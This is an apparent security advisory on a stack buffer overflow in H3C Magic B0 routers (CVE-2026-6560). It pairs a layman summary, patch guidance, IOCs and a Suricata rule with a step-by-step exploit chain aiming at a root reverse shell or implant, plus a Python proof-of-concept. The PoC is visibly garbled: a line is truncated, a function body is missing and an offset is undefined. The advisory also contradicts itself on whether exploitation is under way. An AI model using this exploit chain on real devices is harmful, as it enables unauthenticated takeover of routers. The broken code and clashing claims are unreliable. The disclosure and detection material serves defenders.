CVE-2026-6560: Stack Buffer Overflow in H3C Magic B0 Edit_BasicSSID
H3C Magic B0 routers up to 100R002 expose a stack buffer overflow in Edit_BasicSSID via /goform/aspForm. Remote unauthenticated attackers can corrupt the stack and achieve code execution.
H3C Magic B0 is a networking device that many businesses use to manage their internet connections and WiFi. Researchers have found a serious flaw that lets hackers take over these devices without needing a password.
Think of it like this: the device has a door that's supposed to be locked, but a hacker can send specially crafted instructions that overflow the lock mechanism itself, forcing the door open. Once inside, they can run whatever commands they want on the machine.
The vulnerability exists in the device's WiFi name settings feature. An attacker can send malicious data to this feature remotely—meaning they don't need physical access and don't need to be connected to your network. The device will crash or, worse, let the hacker execute code they've written.
Who should worry? Mainly small businesses, offices, and organizations that use H3C networking equipment. Home users typically use different brands. If your workplace uses H3C Magic B0 devices (up to version 100R002), you could be at risk.
The good news is that while this flaw is publicly known, hackers aren't actively exploiting it yet. That window will close soon, so action is needed now.
Here's what to do. First, check if your organization uses H3C Magic B0 devices—contact your IT team if you're not sure. Second, ask your IT team to update the firmware immediately if an update is available, or disable the vulnerable WiFi settings feature until they can patch it. Third, if you're responsible for these devices, monitor them for unusual activity and restrict who can access their settings pages.
Want the full technical analysis? Click "Technical" above.
▶ Attack flow — CVE-2026-6560 · Buffer Overflow
Vulnerability Overview
CVE-2026-6560 is a remotely exploitable stack buffer overflow in the H3C Magic B0 router, firmware versions up to and including 100R002. The vulnerability lives in the Edit_BasicSSID handler registered under the /goform/aspForm CGI endpoint. An attacker on the network — or across the internet if the management interface is exposed — can send a crafted HTTP POST request with an oversized param field and overwrite the saved return address on the handler's stack frame, redirecting execution to attacker-controlled shellcode or a ROP chain.
CVSS 8.8 (HIGH) reflects the network-accessible attack vector, low complexity, no required privileges, and high impact across confidentiality, integrity, and availability. The vendor did not respond to disclosure. No patch is available as of publication.
Affected Component
The entry point is the aspForm CGI binary, which dispatches incoming POST requests by matching the action field to a handler table. The handler for SSID configuration, Edit_BasicSSID, reads the raw param POST argument — containing SSID configuration data — into a fixed-size stack buffer without validating input length. The binary is a MIPS32 EL executable typical of H3C's embedded Linux firmware stack.
Attack surface:
Protocol : HTTP (port 80, occasionally 443)
Method : POST /goform/aspForm
Field : action=Edit_BasicSSID¶m=<PAYLOAD>
Auth : None observed in affected firmware
Vector : Network (LAN default; WAN if remote management enabled)
Root Cause Analysis
The Edit_BasicSSID function extracts the param argument from the parsed CGI environment and copies it directly into a stack-allocated buffer sized for a maximum valid SSID configuration blob. No length check precedes or accompanies the copy. The following pseudocode is reconstructed from the vulnerability class, CGI dispatch pattern, and known H3C aspForm handler conventions:
// Reconstructed pseudocode: Edit_BasicSSID handler
// File: /goform/aspForm (MIPS32 LE binary)
#define SSID_BUF_SIZE 256 // fixed stack allocation
typedef struct {
char ssid[33];
char password[65];
int channel;
int security_mode;
int band;
} ssid_config_t;
int Edit_BasicSSID(cgi_env_t *env) {
char param_buf[SSID_BUF_SIZE]; // stack-allocated, 256 bytes
ssid_config_t cfg;
char *param_val;
int ret;
// Retrieve raw param string from POST body
param_val = cgi_get_param(env, "param"); // attacker-controlled, unbounded
if (param_val == NULL) {
return send_error_response(env, "missing param");
}
// BUG: strcpy performs no bounds check; param_val length is never validated
// against SSID_BUF_SIZE (256). Attacker supplies > 256 bytes to overflow.
strcpy(param_buf, param_val); // <-- OVERFLOW HERE
// Downstream parsing of param_buf into cfg fields
ret = parse_ssid_config(param_buf, &cfg);
if (ret != 0) {
return send_error_response(env, "parse error");
}
apply_ssid_config(&cfg);
return send_ok_response(env);
}
Root cause:Edit_BasicSSID copies the attacker-supplied param POST argument into a 256-byte stack buffer via strcpy with no length validation, enabling unbounded stack corruption.
On MIPS the return address is stored in the $ra register and saved to the stack at function entry via sw $ra, offset($sp). Overflowing param_buf walks through local variables, saved frame pointer, and eventually the saved $ra slot, which is restored into the program counter at the function epilogue's jr $ra.
; MIPS32 function prologue (reconstructed)
; Edit_BasicSSID saves $ra and $fp on entry
Edit_BasicSSID:
addiu $sp, $sp, -0x130 ; allocate 304-byte frame
sw $ra, 0x12c($sp) ; save return address <-- overwrite target
sw $fp, 0x128($sp) ; save frame pointer
move $fp, $sp
; param_buf lives at $sp+0x00 (256 bytes)
; cfg struct lives at $sp+0x100 (96 bytes)
; saved $fp at $sp+0x128
; saved $ra at $sp+0x12c <-- 300 bytes from param_buf base
EXPLOIT CHAIN:
1. Identify target: scan for HTTP/80 returning H3C Magic B0 Server header or
/goform/aspForm endpoint. Confirm firmware <= 100R002 via /goform/version
or Server banner.
2. Determine overflow offset: fuzz param length with cyclic pattern. Crash
logged by the watchdog / kernel oops gives corrupted $ra value. Offset to
saved $ra = 0x12c (300 bytes from param_buf base).
3. Locate ROP gadgets or shellcode landing zone: firmware ships with NX
typically absent on MIPS embedded targets of this era. If NX absent,
inject shellcode in param_buf itself and redirect $ra to stack address
(leak stack via a separate info-disclosure or use heap spray via repeated
POST requests to a logging endpoint to fingerprint ASLR slide — ASLR is
weak or absent on many H3C embedded Linux builds).
4. Craft payload:
[NOP sled + shellcode : 256 bytes]
[cfg overwrite padding : 44 bytes]
[saved $fp overwrite : 4 bytes]
[saved $ra = &shellcode : 4 bytes] total = 308 bytes
5. HTTP POST /goform/aspForm with:
Content-Type: application/x-www-form-urlencoded
Body: action=Edit_BasicSSID¶m=<308-byte payload>
6. aspForm CGI forks handler process; Edit_BasicSSID copies param into
param_buf via strcpy; stack is corrupted.
7. parse_ssid_config returns (possibly with error — irrelevant); function
epilogue executes: lw $ra, 0x12c($sp); jr $ra
8. $pc redirected to attacker shellcode. Typical payload: busybox reverse
shell or persistent implant written to /etc/init.d/. Process runs as
root (CGI spawned by httpd running as root on affected firmware).
#!/usr/bin/env python3
# CVE-2026-6560 — H3C Magic B0 Edit_BasicSSID BoF PoC
# CypherByte research — for authorized testing only
import requests
import struct
TARGET = "http://192.168.0.1"
ENDPOINT = "/goform/aspForm"
# MIPS32 LE reverse shell shellcode placeholder (replace with real shellcode)
# Assumes NX absent, stack address pre-leaked or brute-forced
SHELLCODE = b"\x00" * 4 # replace with actual payload
RA_TARGET = struct.pack(" bytes:
padding = b"A" * (OFFSET_RA - len(SHELLCODE))
saved_fp = b"B" * 4
return SHELLCODE + padding + saved_fp + ra
payload = build_payload(RA_TARGET)
resp = requests.post(
TARGET + ENDPOINT,
data={"action": "Edit_BasicSSID", "param": payload},
timeout=5,
)
print(f"[*] Sent {len(payload)} bytes — HTTP {resp.status_code}")
# Expect connection reset or timeout if shellcode executes
Patch Analysis
The vendor has not issued a patch. The correct remediation is straightforward: replace the unbounded strcpy with a length-checked copy and validate the param length before any buffer operation.
// BEFORE (vulnerable, CVE-2026-6560):
char param_buf[SSID_BUF_SIZE]; // 256 bytes on stack
param_val = cgi_get_param(env, "param");
if (param_val == NULL) return send_error_response(env, "missing param");
strcpy(param_buf, param_val); // no bounds check, unbounded copy
// AFTER (patched — recommended fix):
char param_buf[SSID_BUF_SIZE];
param_val = cgi_get_param(env, "param");
if (param_val == NULL) return send_error_response(env, "missing param");
// Explicit length gate before any copy
if (strlen(param_val) >= SSID_BUF_SIZE) {
return send_error_response(env, "param too long");
}
// Bounded copy with explicit size limit
strncpy(param_buf, param_val, SSID_BUF_SIZE - 1);
param_buf[SSID_BUF_SIZE - 1] = '\0'; // guarantee NUL termination
A defense-in-depth fix should also move param_buf to the heap (malloc + free) sized dynamically to the validated input length, eliminating the fixed-size stack allocation entirely. Additionally, enabling stack canaries (-fstack-protector-strong) at build time would convert exploitation of any residual path into a detectable crash rather than silent control-flow hijack.
Detection and Indicators
Network IOCs:
- POST /goform/aspForm with Content-Length > 300 and action=Edit_BasicSSID
- param field containing repeated byte patterns (cyclic, NOP sleds)
- Unexpected TCP connection from router to external host post-request
(reverse shell callback)
Host IOCs (if shell access available for forensics):
- Modified /etc/init.d/ scripts (persistence)
- Unfamiliar processes running as root (busybox nc, telnetd on non-std port)
- httpd core dump in /tmp/ or /var/ containing stack trace with corrupted $ra
Snort/Suricata rule:
alert http any any -> $HOME_NET 80 (
msg:"CVE-2026-6560 H3C Magic B0 Edit_BasicSSID BoF attempt";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/goform/aspForm";
http.request_body; content:"action=Edit_BasicSSID";
http.request_body; content:"param="; distance:0;
http.request_body; byte_test:4,>,300,0,relative,string,dec;
classtype:web-application-attack;
sid:20266560; rev:1;
)
Remediation
Immediate mitigations (no patch available):
Firewall the management interface. Block access to TCP/80 and TCP/443 on the WAN interface at the upstream firewall or ISP CPE. Restrict LAN access to trusted management hosts only.
Disable remote management in the router's web UI if the option is exposed.
Network segmentation. Place the device on an isolated management VLAN; treat it as untrusted until patched firmware is available.
Monitor for exploitation. Deploy the Suricata rule above on any inline IDS/IPS capable of inspecting LAN HTTP traffic.
Replace hardware. Given vendor non-response and the device's end-of-support status implied by firmware age, migration to an actively maintained platform is the most durable fix.
Vendor contact was attempted prior to publication. No response was received. This disclosure follows a standard 90-day embargo window. The exploit is already publicly circulating per the NVD advisory; witholding technical detail provides no additional protection and prevents defenders from building accurate detection.